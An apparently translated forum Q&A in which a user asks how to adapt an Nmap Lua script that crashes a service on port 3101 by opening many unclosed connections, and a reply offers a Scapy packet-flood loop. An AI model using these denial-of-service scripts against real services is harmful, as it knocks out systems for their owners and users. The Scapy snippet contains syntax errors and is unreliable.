DOS(nmap)脚本(渗透测试)
2015-5-4 5:48:1
收藏:0
阅读:128
评论:2
我需要进行渗透测试。我想要编写一个脚本或一些脚本来攻击某个端口/软件(但希望不会)通过泛洪攻击使其崩溃。我已经安装了NMAP和来自同事的一个示例脚本,请问有人能解释一下脚本,并讲解如何调整它以适应我的需求吗?
Description = [[
连接而不关闭的端口
]]
Author =""
License = 'Same as Nmap--See http://nmap.org/book/man-legal.html'
Categories = {'auth', 'intrusive'}
require('shortport')
require('stdnse')
require('strbuf')
require('math')
local soc
local catch = function() soc:close() end
local try = nmap.new_try(catch)
--portrule = shortport.port_or_service({3000, 3001, 3002, 3003, 3004, 3005,3006,3007,3008,3009, 3010, 3011, 4008, 3110}, 'client server')
--portrule = shortport.port_or_service({3000-4008}, 'client server')
portrule = shortport.port_or_service({3101}, 'client server')
action = function(host, port)
math.randomseed( os.time() )
local buff = ""
soc = nmap.new_socket()
soc:set_timeout(400000000)
for j = 1,1100 do
print(j)
try(soc:connect(host.ip, port.number, port.protocol))
--soc:close()
end
--print(math.random(255))
return ""
end
点赞
用户1183387
我不确定这个脚本是做事情的最佳方式,但是为了运行它,您应该使用以下命令:
nmap -p 3101 --script your-script-name target
您可能会更幸运地使用其他工具而不是Nmap。例如,您可以使用Scapy:
$ sudo scapy
>>> p = IP(dst =“ 192.168.1.X”)/ TCP(dport = 3101)
>>> while true:
... p.sport = random.randint(1024,65535)
... send(p)
2012-08-09 11:38:52
评论区的留言会收到邮件通知哦~
推荐文章
- 如何将两个不同的lua文件合成一个 东西有点长 大佬请耐心看完 我是小白研究几天了都没搞定
- 如何在roblox studio中1:1导入真实世界的地形?
- 求解,lua_resume的第二次调用继续执行协程问题。
- 【上海普陀区】内向猫网络招募【Skynet游戏框架Lua后端程序员】
- SF爱好求教:如何用lua实现游戏内调用数据库函数实现账号密码注册?
- Lua实现网站后台开发
- LUA错误显式返回,社区常见的规约是怎么样的
- lua5.3下载库失败
- 请问如何实现文本框内容和某个网页搜索框内容连接,并把网页输出来的结果反馈到另外一个文本框上
- lua lanes多线程使用
- 一个kv数据库
- openresty 有没有比较轻量的 docker 镜像
- 想问一下,有大佬用过luacurl吗
- 在Lua执行过程中使用Load函数出现问题
- 为什么 neovim 里没有显示一些特殊字符?
- Lua比较两个表的值(不考虑键的顺序)
- 有个lua简单的项目,外包,有意者加微信 liuheng600456详谈,最好在成都
- 如何在 Visual Studio 2022 中运行 Lua 代码?
- addEventListener 返回 nil Lua
- Lua中获取用户配置主目录的跨平台方法
尝试设置
function(host = '这里放主机 URL',port = '这里放端口号')